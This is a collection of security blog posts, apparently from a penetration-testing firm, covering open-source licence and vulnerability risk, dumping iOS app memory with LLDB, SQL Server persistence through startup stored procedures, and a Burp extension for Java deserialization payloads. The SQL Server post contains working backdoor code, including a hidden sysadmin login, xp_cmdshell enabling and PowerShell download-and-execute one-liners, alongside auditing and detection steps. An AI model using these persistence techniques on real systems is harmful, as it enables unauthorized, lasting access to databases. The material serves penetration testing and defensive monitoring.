Open Source Software – Is It the Death of Your Company?

Open source software (OSS) is software whose source code is available for modification or enhancement by anyone.

Many companies use OSS to develop their applications, but yet do not know what dangers exist in it. There may be legal ramifications stemming from the licenses that are being used by the OSS or security vulnerabilities that can exist in the software itself. Do you even know what OSS you are using in your application? Have your developers pulled the source into your application instead of using the binaries? If not, the first step is to find out what OSS you are using and what versions. The next step is to find out what license this software is using.


There are many different open source licenses, some of them good (permissive) and some not so good. A “permissive” license is simply a non-copyleft open source license — one that guarantees the freedoms to use, modify, and redistribute, but that permits proprietary derivative works. As of last count, the Open Source Initiative (OSI) has 76 different licenses, some permissive and some not so permissive. There are also some that OSI does not recognize, such as the Beerware license. It says “As long as you retain this notice you can do whatever you want with this stuff. If we meet some day, and you think this stuff is worth it, you can buy me a beer in return.  Poul-Henning Kamp”. This is considered a permissive license. Copyleft is a copyright licensing scheme where an author surrenders some, but not all rights under copyright law. Copyleft allows an author to impose some restrictions on those who want to engage in activities that would more usually be reserved by the copyright holder.

“Weak copyleft” licenses are generally used for the creation of software libraries, to allow other software to link to the library and then be redistributed without the legal requirement for the work to be distributed under the library’s copyleft license. Only changes to the weak-copylefted software itself become subject to the copyleft provisions of such a license, not changes to the software that links to it. This allows programs of any license to be compiled and linked against copylefted libraries such as glibc (the GNU project’s implementation of the C standard library) and then redistributed without any re-licensing required.

Copyleft licenses (GPL, etc.) become an issue if the OSS source is actually pulled into your application. The developers can do this without anyone’s knowledge, but would require you to release your source code. All of your intellectual property then becomes open source under that license.

The licenses on the OSS you are using can have many or few restrictions on your software. Make sure you are aware of the license(s) that is applied to each OSS you are using and have a lawyer review all of them.

What if you do not comply with the license? I am not a lawyer, but I believe if a company finds out you are using their software out of compliance with the license, you may end up with a lawsuit. In fact, the lawyer I was working with at a previous job was adamant that the company not use any copyleft software. He would not sign off on the software release unless it was free of copyleft software.

Security Vulnerabilities

As you are aware, all software has bugs and from a security perspective, the OSS you are using contains them as well. Over the last couple of weeks I was doing a web application penetration test and discovered that the software was using about 80 different open source libraries (JAR files). Among them were the Apache Commons Collections (ACC) and Apache Standard Taglibs (AST). Each of these have security vulnerabilities that are considered high risk (CVSS score of 7.5 or above). For example, ACC is vulnerable to insecure deserialization of data, which may result in arbitrary code execution.

If the application is using OSS that is out-of-date by many months or years, it may have undiscovered or unreported vulnerabilities. Older software tend to have security vulnerabilities that go undetected or unreported.

What vulnerabilities you allow in your software is up to your company policy, so you need to determine if you will allow the release of software that is old or contains security vulnerabilities.


You can do research on each OSS you use. This means visiting the website for the OSS or opening up each JAR file and reviewing the license information. Make sure you track this because OSS can change licenses between releases. Under one version it could be released using the aforementioned BEER license and the next one could be under a copyleft license.

For security vulnerabilities, going to the vendors web site might give you some information, but also review the following:

Also consider using software to scan for these issues. The two that I am most familiar with are:

I am most familiar with CLM, which we installed in a previous company that I worked for; it discovered many issues in the OSS we were using in our products. The software teams had to scramble to fix the issues that were discovered. As I mentioned before, the lawyer did not allow the release of any software with certain licenses. They ended up either upgrading the OSS or removing it completely from the software.

Back in January of 2015 NetSPI published a blog on extracting memory from an iOS device. Even though NetSPI provided a script to make it easy, it required iOS 7 (or less) and GDB; but GDB is currently no longer on iOS 8.

Fortunately, there are other options to GDB and extracting memory from an Apple iPhone running iOS 8+ could not be easier. It requires the following pieces of software.

  • LLDB (
  • Debugserver (part of Xcode)
  • (

Of course you will need a jailbroken iPhone or iPad. I will not cover that part of the operation here.

Start tcprelay so you can connect to the device over a USB connection:

$ ./ -t 22:2222 1234:1234

Forwarding local port 2222 to remote port 22

Forwarding local port 1234 to remote port 1234

Incoming connection to 2222

Waiting for devices…

Connecting to device <MuxDevice: ID 17 ProdID 0x12a8 Serial ‘0ea150b00ba3deeacb42f399492b7990416a0c87’ Location 0x14120000>

Connection established, relaying data

Incoming connection to 1234

Waiting for devices…

Connecting to device <MuxDevice: ID 17 ProdID 0x12a8 Serial ‘0ea150b00ba3deeacb42f399492b7990416a0c87’ Location 0x14120000>

Connection established, relaying data

The command “ -t 22:2222 1234:1234” is redirecting two local ports to the device. The first one is used to SSH to the device over port 2222. The second one is the port the debugserver will be using.

Then you will need to connect to the iOS device and start the debug server (I am assuming you have already copied the software to the device). If not, you can use scp to copy the binary.)

$ ssh root@ -p 2222

root@’s password:

Then, if the application is already running, verify its name using ‘ps aux | grep <appname>’ and connect to the application with debugserver (using the name of the application not the PID):

root# ./debugserver *:1234 -a appname

debugserver-@(#)PROGRAM:debugserver  PROJECT:debugserver-320.2.89

for arm64.

Attaching to process appname…

Listening to port 1234 for a connection from *…

Waiting for debugger instructions for process 0.

The command ‘./debugserver *:1234 -a appname’ is telling the software to startup on port 1234 and hook into the application named ‘appname’. It will take a little time, so be patient.

On the MAC, startup LLDB and connect to the debugserver software running on the iOS device. Remember, we have relayed the device port 1234 that the debugserver is listening on to the local port 1234.

$ lldb

(lldb) process connect connect://

Process 2017 stopped

* thread #1: tid = 0x517f9, 0x380f54f0 libsystem_kernel.dylib mach_msg_trap + 20, queue = ‘’, stop reason = signal SIGSTOP

frame #0: 0x380f54f0 libsystem_kernel.dylib mach_msg_trap + 20

libsystem_kernel.dylib mach_msg_trap:

->  0x380f54f0 <+20>: pop    {r4, r5, r6, r8}

0x380f54f4 <+24>: bx     lr

libsystem_kernel.dylib mach_msg_overwrite_trap:

0x380f54f8 <+0>:  mov    r12, sp

0x380f54fc <+4>:  push   {r4, r5, r6, r8}

Now you can dump the information about the memory sections of the application.

(lldb) image dump sections appname

Sections for ‘/private/var/mobile/Containers/Bundle/Application/F3CFF345-71FC-47C4-B1FB-3DAC523C7627/’ (armv7):

SectID     Type             Load Address                             File Off.  File Size  Flags      Section Name

———- —————- —————————————  ———- ———- ———- —————————-

0x00000100 container        [0x0000000000000000-0x0000000000004000)* 0x00000000 0x00000000 0x00000000 appname.__PAGEZERO

0x00000200 container        [0x0000000000047000-0x00000000001af000)  0x00000000 0x00168000 0x00000000 appname.__TEXT

0x00000001 code             [0x000000000004e6e8-0x000000000016d794)  0x000076e8 0x0011f0ac 0x80000400 appname.__TEXT.__text

0x00000002 code             [0x000000000016d794-0x000000000016e5e0)  0x00126794 0x00000e4c 0x80000400 appname.__TEXT.__stub_helper

0x00000003 data-cstr        [0x000000000016e5e0-0x0000000000189067)  0x001275e0 0x0001aa87 0x00000002 appname.__TEXT.__cstring

0x00000004 data-cstr        [0x0000000000189067-0x00000000001a5017)  0x00142067 0x0001bfb0 0x00000002 appname.__TEXT.__objc_methname

0x00000005 data-cstr        [0x00000000001a5017-0x00000000001a767a)  0x0015e017 0x00002663 0x00000002 appname.__TEXT.__objc_classname

0x00000006 data-cstr        [0x00000000001a767a-0x00000000001abe0c)  0x0016067a 0x00004792 0x00000002 appname.__TEXT.__objc_methtype

0x00000007 regular          [0x00000000001abe10-0x00000000001ac1b8)  0x00164e10 0x000003a8 0x00000000 appname.__TEXT.__const

0x00000008 regular          [0x00000000001ac1b8-0x00000000001aeb20)  0x001651b8 0x00002968 0x00000000 appname.__TEXT.__gcc_except_tab

0x00000009 regular          [0x00000000001aeb20-0x00000000001aeb46)  0x00167b20 0x00000026 0x00000000 appname.__TEXT.__ustring

0x0000000a code             [0x00000000001aeb48-0x00000000001af000)  0x00167b48 0x000004b8 0x80000408 appname.__TEXT.__symbolstub1

0x00000300 container        [0x00000000001af000-0x00000000001ef000)  0x00168000 0x00040000 0x00000000 appname.__DATA

0x0000000b data-ptrs        [0x00000000001af000-0x00000000001af4b8)  0x00168000 0x000004b8 0x00000007 appname.__DATA.__lazy_symbol

0x0000000c data-ptrs        [0x00000000001af4b8-0x00000000001af810)  0x001684b8 0x00000358 0x00000006 appname.__DATA.__nl_symbol_ptr

0x0000000d regular          [0x00000000001af810-0x00000000001b2918)  0x00168810 0x00003108 0x00000000 appname.__DATA.__const

0x0000000e objc-cfstrings   [0x00000000001b2918-0x00000000001ba8d8)  0x0016b918 0x00007fc0 0x00000000 appname.__DATA.__cfstring

0x0000000f data-ptrs        [0x00000000001ba8d8-0x00000000001baf1c)  0x001738d8 0x00000644 0x10000000 appname.__DATA.__objc_classlist

0x00000010 regular          [0x00000000001baf1c-0x00000000001baf4c)  0x00173f1c 0x00000030 0x10000000 appname.__DATA.__objc_nlclslist

0x00000011 regular          [0x00000000001baf4c-0x00000000001bafa0)  0x00173f4c 0x00000054 0x10000000 appname.__DATA.__objc_catlist

0x00000012 regular          [0x00000000001bafa0-0x00000000001bafa4)  0x00173fa0 0x00000004 0x10000000 appname.__DATA.__objc_nlcatlist

0x00000013 regular          [0x00000000001bafa4-0x00000000001bb078)  0x00173fa4 0x000000d4 0x00000000 appname.__DATA.__objc_protolist

0x00000014 regular          [0x00000000001bb078-0x00000000001bb080)  0x00174078 0x00000008 0x00000000 appname.__DATA.__objc_imageinfo

0x00000015 data-ptrs        [0x00000000001bb080-0x00000000001e0d40)  0x00174080 0x00025cc0 0x00000000 appname.__DATA.__objc_const

0x00000016 data-cstr-ptr    [0x00000000001e0d40-0x00000000001e4420)  0x00199d40 0x000036e0 0x10000005 appname.__DATA.__objc_selrefs

0x00000017 regular          [0x00000000001e4420-0x00000000001e442c)  0x0019d420 0x0000000c 0x00000000 appname.__DATA.__objc_protorefs

0x00000018 data-ptrs        [0x00000000001e442c-0x00000000001e4ab8)  0x0019d42c 0x0000068c 0x10000000 appname.__DATA.__objc_classrefs

0x00000019 data-ptrs        [0x00000000001e4ab8-0x00000000001e4e48)  0x0019dab8 0x00000390 0x10000000 appname.__DATA.__objc_superrefs

0x0000001a regular          [0x00000000001e4e48-0x00000000001e6184)  0x0019de48 0x0000133c 0x00000000 appname.__DATA.__objc_ivar

0x0000001b data-ptrs        [0x00000000001e6184-0x00000000001ea02c)  0x0019f184 0x00003ea8 0x00000000 appname.__DATA.__objc_data

0x0000001c data             [0x00000000001ea030-0x00000000001ed978)  0x001a3030 0x00003948 0x00000000 appname.__DATA.__data

0x0000001d zero-fill        [0x00000000001ed980-0x00000000001edce0)  0x00000000 0x00000000 0x00000001 appname.__DATA.__bss

0x0000001e zero-fill        [0x00000000001edce0-0x00000000001edce8)  0x00000000 0x00000000 0x00000001 appname.__DATA.__common

0x00000400 container        [0x00000000001ef000-0x0000000000207000)  0x001a8000 0x00015bf0 0x00000000 appname.__LINKEDIT

The next step is to convert that output into LLDB commands to actually dump the data in those memory sections. You can probably skip the sections named zero-fill or code. For example, the take the following output:

0x00000003 data-cstr        [0x000000000016e5e0-0x0000000000189067)  0x001275e0 0x0001aa87 0x00000002 appname.__TEXT.__cstring

Into the LLDB command:

Memory read –outfile ~/0x00000003data-cstr 0x000000000016e5e0 0x0000000000189067 –force

This command is telling LLDB to dump the memory from address 0x000000000016e5e0 to 0x0000000000189067 and put it into the file 0x00000003data-cstr.

(lldb) memory read –outfile ~/0x00000003data-cstr 0x000000000016e5e0 0x0000000000189067 –force

You will (or should) not see any output from this command other that the file being created. Once you have all of the files, search them using your favorite search tool or even a text editor. Search for sensitive data (i.e. credit card number, passwords, etc. The files will contain information similar to the following:

0x0016e5e0: 3f 3d 26 2b 00 3a 2f 3d 2c 21 24 26 27 28 29 2a  ?=&+.:/=,!$&'()*

0x0016e5f0: 2b 3b 5b 5d 40 23 3f 00 00 62 72 61 6e 64 4c 6f  +;[]@#?..brandLo

0x0016e600: 67 6f 2e 70 6e 67 00 54 72 61 64 65 47 6f 74 68  go.png.TradeGoth

0x0016e610: 69 63 4c 54 2d 42 6f 6c 64 43 6f 6e 64 54 77 65  icLT-BoldCondTwe

0x0016e620: 6e 74 79 00 4c 6f 61 64 69 6e 67 2e 2e 2e 00 4c  nty.Loading….L

0x0016e630: 6f 61 64 69 6e 67 00 76 31 32 40 3f 30 40 22 4e  oading.v12@?0@”N

0x0016e640: 53 44 61 74 61 22 34 40 22 45 70 73 45 72 72 6f  SData”4@”EpsErro

0x0016e650: 72 22 38 00 6c 6f 61 64 69 6e 67 50 61 67 65 54  r”8.loadingPageT

0x0016e660: 79 70 65 00 54 69 2c 4e 2c 56 5f 6c 6f 61 64 69  ype.Ti,N,V_loadi

0x0016e670: 6e 67 50 61 67 65 54 79 70 65 00 6f 76 65 72 76  ngPageType.overv

0x0016e680: 69 65 77 52 65 71 52 65 73 48 61 6e 64 6c 65 72  iewReqResHandler

0x0016e690: 00 54 40 22 45 70 73 4f 76 65 72 76 69 65 77 52  .T@”EpsOverviewR

0x0016e6a0: 65 71 52 65 73 48 61 6e 64 6c 65 72 22 2c 26 2c  eqResHandler”,&,

0x0016e6b0: 4e 2c 56 5f 6f 76 65 72 76 69 65 77 52 65 71 52  N,V_overviewReqR

0x0016e6c0: 65 73 48 61 6e 64 6c 65 72 00 41 50 49 43 61 6c  esHandler.APICal

Have fun looking at the iOS application memory and use this process for only good intentions. As stated in the previously mentioned blog:

This technique can be used to determine if the application is not removing sensitive information from memory once the instantiated classes are done with the data. All applications should de-allocate spaces in memory that deal with classes and methods that were used to handle sensitive information, otherwise you run the risk of the information sitting available in memory for an attacker to see.


Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures

During red team and penetration test engagements, one common goal is to maintain access to target environments while security teams attempt to identify and remove persistence methods. There are many ways to maintain persistent access to Windows environments. However, detective controls tend to focus on compromised account identification and persistence methods at the operating system layer. While prioritizing detective control development in those areas is a good practice, common database persistence methods are often overlooked.

In this blog series, I’m planning to take a look at few techniques for maintaining access through SQL Server and how they can be detected by internal security teams. Hopefully they will be interesting to both red and blue teams.

Below is an overview of what will be covered in this blog:

Why use SQL Server as a Persistence Method?

It may not be immediately obvious why anyone would use SQL Server or other database platforms to maintain access to an environment, so I’ve provided some of the advantages below.

  1. The .mdf files that SQL Server uses to store data and other objects such as stored procedures are constantly changing, so there is no easy way to use File Integrity Monitoring (FIM) to identify database layer persistence methods.
  2. SQL Server persistence methods that interact with the operating systems will do so under the context of the associated SQL Server service account. This helps make potentially malicious actions appear more legitimate.
  3. It’s very common to find SQL Server service accounts configured with local administrative or LocalSystem privileges. This means that in most cases any command and control code running from SQL Server will have local administrative privileges.
  4. Very few databases are configured to audit for common Indicators of Compromise (IoC) and persistence methods.

With that out of the way, let’s learn a little about stored procedures.

Introduction to Startup Stored Procedures

In SQL Server, stored procedures are basically chunks of SQL code intended for reuse that get compiled into a single execution plan. Similar to functions, they can accept parameters and provide output to the user. SQL Server ships with quite a few native stored procedures, but they can also be user defined. Once logged into SQL Server, it’s possible to execute stored procedures that the current user has privileges to execute. For more general information regarding stored procedures, visit

The native sp_procoption stored procedure can be used to configure user defined stored procedures to run when SQL Server is started or restarted. The general idea is very similar to the “run” and “run once” registry keys commonly used for persistence by developers, malware, and penetration testers. Before we get started on creating our evil startup stored procedures there are a few things to be aware of.

The stored procedures configured for automatic execution at start time:

  • Must exist in the Master database
  • Cannot accept INPUT or OUTPUT parameters
  • Must be marked for automatic execution by a sysadmin

General Note: Based on my time playing with this in a lab environment, all startup stored procedures are run under the context of the sa login, regardless of what login was used to flag the stored procedure for automatic execution. Even if the sa login is disabled, the startup procedures will still run under the sa context when the service is restarted.

Startup Stored Procedure Detection

In this section I’ve provided an example script that can be used to enable audit features in SQL Server that will log potentially malicious startup procedure activities to the Windows Application event log.

Normally I would introduce the attack setup first, but if the audit controls are not enabled ahead of time the events we use to detect the attack won’t show up in the Windows application event log.

Important Note: Be aware that the sysadmin privileges are required to run the script, and recommendations in this section will not work on SQL Server Express, because SQL Server Auditing is a commercial feature. SQL Server Auditing can be used to monitor all kinds of database activity. For those who are interested in learning more I recommend checking out this Microsoft site.

Audit Setup Instructions
Follow the instructions below to enable auditing:

  1. Create and enable a SERVER AUDIT.
    -- Select master database
    USE master
    -- Setup server audit to log to application log
    CREATE SERVER AUDIT Audit_StartUp_Procs
    -- Enable server audit
    ALTER SERVER AUDIT Audit_StartUp_Procs
  2. Create an enabled SERVER AUDIT SPECIFICATION. This will enable auditing of defined server level events. In this example, it’s been configured to monitor group changes, server setting changes, and audit setting changes.
    -- Create server audit specification
    FOR SERVER AUDIT Audit_StartUp_Procs
    -- track group changes
    -- track server setting changes
    -- track audit setting changes
  3. Create an enabled DATABASE AUDIT SPECIFICATION. This will enable auditing of specific database level events. In this case, the execution of the sp_procoption procedure will be monitored.
    -- Create the database audit specification
    FOR SERVER AUDIT Audit_StartUp_Procs
    ON master..sp_procoption BY public ) 
    -- sp_procoption execution
  4. All enabled server and database level audit specifications can be viewed with the queries below. Typically, sysadmin privileges are required to view them.
    -- List enabled server specifications
    SELECT		audit_id, 
   as audit_name, 
   as server_specification_name,
    FROM sys.server_audits AS a
    JOIN sys.server_audit_specifications AS s
    ON a.audit_guid = s.audit_guid
    JOIN sys.server_audit_specification_details AS d
    ON s.server_specification_id = d.server_specification_id
    WHERE s.is_state_enabled = 1
    -- List enabled database specifications
    SELECT	a.audit_id,
   as audit_name,
   as database_specification_name,
    FROM sys.server_audits AS a
    JOIN sys.database_audit_specifications AS s
    ON a.audit_guid = s.audit_guid
    JOIN sys.database_audit_specification_details AS d
    ON s.database_specification_id = d.database_specification_id
    WHERE s.is_state_enabled = 1

    If you’re interested in finding out about other server and database audit options, you can get a full list using the query below.

    Select DISTINCT action_id,name,class_desc,parent_class_desc,containing_group_name from sys.dm_audit_actions order by parent_class_desc,containing_group_name,name

Startup Stored Procedure Creation

Now for the fun part. The code examples provided in this section will create two stored procedures and configure them for automatic execution. As a result, the stored procedures will run the next time a patch is applied to SQL Server, or the server is restarted. As mentioned before, sysadmin privileges will be required.

Note: This example was performed over a direct database connection, but could potentially be executed through SQL injection as well.

  1. If you’re trying this out at home, you can download and install SQL Server with SQL Server Management Studio Express to use for connecting to the remote SQL Server.
  2. Log into the (commercial version of) SQL Server with sysadmin privileges.
  3. Enable the xp_cmdshell stored procedure. This may not be required, but xp_cmdshell is disabled by default.
    -- Enabled xp_cmdshell
    sp_configure 'show advanced options',1
    sp_configure 'xp_cmdshell',1

    When a system setting like “xp_cmdshell” is changed, the Windows Application event log should include event ID 15457. Also, event ID 33205 should show up with a statement field set to “reconfigure”. I don’t see xp_cmdshell enabled very often. So most attackers will have to enable it to perform OS level operations.

  4. Create a stored procedure to add a new sysadmin Login using the query below.
    -- Create a stored procedure 1
    CREATE PROCEDURE sp_add_backdoor_account
    -- create sql server login backdoor_account
    CREATE LOGIN backdoor_account WITH PASSWORD = 'Password123!';
    -- Add backdoor_account to sysadmin fixed server role
    EXEC sp_addsrvrolemember 'backdoor_account', 'sysadmin';
  5. Create a stored procedure to use the xp_cmdshell stored procedure to download and execute a PowerShell payload from the internet using the query below. The script in the example simply writes a c:temphelloworld.txt file, but you can use any PowerShell payload. Something like a PowerShell Empire agent could be handy.
    -- Create a stored procedure 2
    CREATE PROCEDURE sp_add_backdoor
    -- Download and execute PowerShell code from the internet
    EXEC master..xp_cmdshell 'powershell -C "Invoke-Expression (new-object System.Net.WebClient).DownloadString('''')"'
  6. Configure the stored procedures to run when the SQL Server service is restarted using the query below.
    -- Configure stored procedure to run at startup
    -- Set 'sp_add_backdoor_account' to auto run
    EXEC sp_procoption @ProcName = 'sp_add_backdoor_account',
    @OptionName = 'startup',
    @OptionValue = 'on';
    -- Setup 'sp_add_backdoor' to auto run
    EXEC sp_procoption @ProcName = 'sp_add_backdoor',
    @OptionName = 'startup',
    @OptionValue = 'on';

    After execution, the event ID 33205 should show up in the Windows Application event log if auditing has been enabled. The “object_name” should contain “sp_procoption”, and the name of the startup stored procedure can be found in the “statement” field. I haven’t seen this option used very often in production environments. So alerting on it shouldn’t generate too many false positives. Below is an example of the event output.

  7. Confirm the configuration worked using the query below.
    -- List stored procedures mark for automatic execution
    SELECT [name] FROM sysobjects
    WHERE type = 'P'
    AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
  8. If you’re doing this lab on a test instance on your own system, then you can restart the SQL Server service. If you’re performing an actual penetration test, you’ll have to wait for the service or server to restart before the procedures are executed. Usually that will happen during standard patch cycles. So if you’re procedures start a reverse shell you may have to wait a while.

    Very Important Note: Only perform this step in a lab environment and NEVER restart a production service. Unless of course you want to be attacked by an angry mob of DBAs and business line owners. That being said, you can restart the service with the sc or the PowerShell restart-service commands. However, if you’re a GUI fan you can just use services.msc as shown below.When the SQL Server service restarts it will launch the startup procedures and Windows event ID 17135 is used to track that event as shown below.

  9. Verify that a new sysadmin login named “backdoor_account” was added.When a login is added to the sysadmin fixed server role event ID 33205 should show up again in the application log. However, this time the “object_name” should contain “sysadmin”, and the name of the affected account can be found in the “statement” field. Sysadmins shouldn’t be changed too often in production environments, so this can also be a handy thing to monitor.

Startup Stored Procedure Code Review

At this point you should be able to view the log entries described earlier (33205 and 17135). They should tell you what procedures to dig into. If you’re interested in what they’re doing, it’s possible to view the source code for all startup stored procedures with the query below.


Be aware that you will need privileges to view them, but as a sysadmin it shouldn’t be an issue.

Startup Stored Procedure Removal

My guess is that at some point you’ll want to remove your sample startup procedures and audit settings, so below is a removal script.

-- Disable xp_cmdshell
sp_configure 'xp_cmdshell',0

sp_configure 'show advanced options',0

--Stop stored procedures from starting up
EXEC sp_procoption @ProcName = 'sp_add_backdoor',
@OptionName = 'startup',
@OptionValue = 'off';

EXEC sp_procoption @ProcName = 'sp_add_backdoor_account',
@OptionName = 'startup',
@OptionValue = 'off';

-- Remove stored procedures
DROP PROCEDURE sp_add_backdoor
DROP PROCEDURE sp_add_backdoor_account

-- Disable and remove SERVER AUDIT



If an attacker decides to be clever and disable the audit settings it will also show up under event ID 33205. In this case, the statement will include “ALTER SERVER AUDIT” or “DROP SERVER AUDIT” along with the rest of the statement. Also, “object_name” will be the name of the SERVER AUDIT. This is another thing that shouldn’t change very often in production environments so it’s a good this to watch. Below is a basic screenshot example.

Automating the Attack

I put together a little PowerShell script called “Invoke-SqlServer-Persist-StartupSp.psm1” to automate the attack. Below are some basic usage instructions for those who are interested.

  1. Download the script or reflectively load it from here.
    IEX(new-object net.webclient).downloadstring('')
  2. The example below shows how to add a SQL Server sysadmin via a startup stored procedure every time the SQL Server service is restarted.
    Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewSqlUser EvilSysadmin1 -NewSqlPass Password123!

    Add Sysadmin

  3. The example below shows how to add a local Windows Administrator via a startup stored procedure every time the SQL Server service is restarted.
    Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewosUser Evilosadmin1 -NewosPass Password123!

    Add Osadmin

  4. The example below shows how to run arbitrary PowerShell code via a startup stored procedure every time the SQL Server service is restarted.
    Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -PsCommand "IEX(new-object net.webclient).downloadstring('')"

    Add Pscmd

Wrap Up

In this blog I covered how to create, detect, and remove malicious startup stored procedures in SQL Server. Hopefully, this will help create some awareness around this type of persistence method. Big thanks to Grisha Kumar and Ben Tindell for verifying all the code samples for this blog. Have fun and hack responsibly!

Note: All testing was done on Windows 8 running SQL Server 2014 Standard Edition.



Java Deserialization Attacks with Burp


This blog is about Java deserialization and the Java Serial Killer Burp extension. If you want to download the extension and skip past all of this, head to the Github page here.

The recent Java deserialization attack that was discovered has provided a large window of opportunity for penetration testers to gain access to the underlying systems that Java applications communicate with. For the majority of the applications we see, we can simply proxy the connection between the application and the server to view the serialized body of the HTTP request and HTTP response, assuming that HTTP is the protocol that is being used for communication. For this blog, HTTP is going to be assumed and to perform any type of proxying for HTTP, we will use Burp.

Burp Proxy

Here’s a simple example what a Burp proxied HTTP request with a serialized Java object in its body looks like:

Img D Ddaa

In this example we have a serialized object called State that is comprised of two Strings, capitol (spelled wrong in the example) and nicknames. From here, we can manipulate the request by sending it to the Repeater tab.

Generating Serialized Exploits

There are a few tools out there that will generate serialized Java objects that are able to exploit vulnerable software. I’m a big fan of Chris Frohoff’s ysoserial ( He has payload generators for nine exploitable software stacks at the time of me writing this.

Simply running the jar file with the payload type and command to execute will generate the serialized object for you. Just make sure you output it to a file:

java -jar ./ysoserial-0.0.4-all.jar CommonsCollections1 ‘ping’ > payload

We can then copy the serialized output into Burp using the paste from file context menu item:

Img D Ddbdea C

Which will result in the following:

Img D Ddd C

Generating Serialized Exploits in Burp

Ysoserial works well enough, but I like to optimize my exploitation steps whenever possible. This includes removing the need to go back and forth between the command line and Burp. So I created the Burp extension Java Serial Killer to perform the serialization for me. It essentially is a modified Repeater tab that uses the payload generation from ysoserial.

To use Java Serial Killer, right click on a POST request with a serialized Java object in the body and select the Send to Java Serial Killer item.

Img D Dddfa E

A new tab will appear in Burp with the request copied over into a new message editor window.

Java Deserialization Attacks With Burp

In the Java Serial Killer tab there are buttons for sending requests, serializing the body, selecting a payload type, and setting the command to run.

For an example, say we want to ping using the CommonsCollections1 payload type, because we know it is running Commons-Collections 3.1. We highlight the area we want the payload to replace, set the payload in the drop down menu, and then type the command we want and press the Serialize button. Pressing the little question mark button will also display the payload types and the software versions they are targeting if you need more information. After you highlight once, every subsequent button press of Serialize will update the payload in the request if you change the command, payload, or encoding.

Java Deserialization Attacks With Burp

We can also Base64 encode the payload by checking same named checkbox:

Java Deserialization Attacks With Burp

If we want to replace a specific parameter in a request with a payload we can do that too by highlighting it and pressing Serialize:

Java Deserialization Attacks With Burp

Java Deserialization Attacks With Burp

Most likely we will need to Base64 encode the payload as a parameter in xml:

Java Deserialization Attacks With Burp

As Chris Frohoff adds more payloads, I plan to update Java Serial Killer accordingly.


I submitted the plugin to the Burp app store and I don’t expect it to take too long to get approved, but if you want to try it out now, you can get it from our Github page ( You will need to be running Java 8 for it to work.

Discover how NetSPI ASM solution helps organizations identify, inventory, and reduce risk to both known and unknown assets.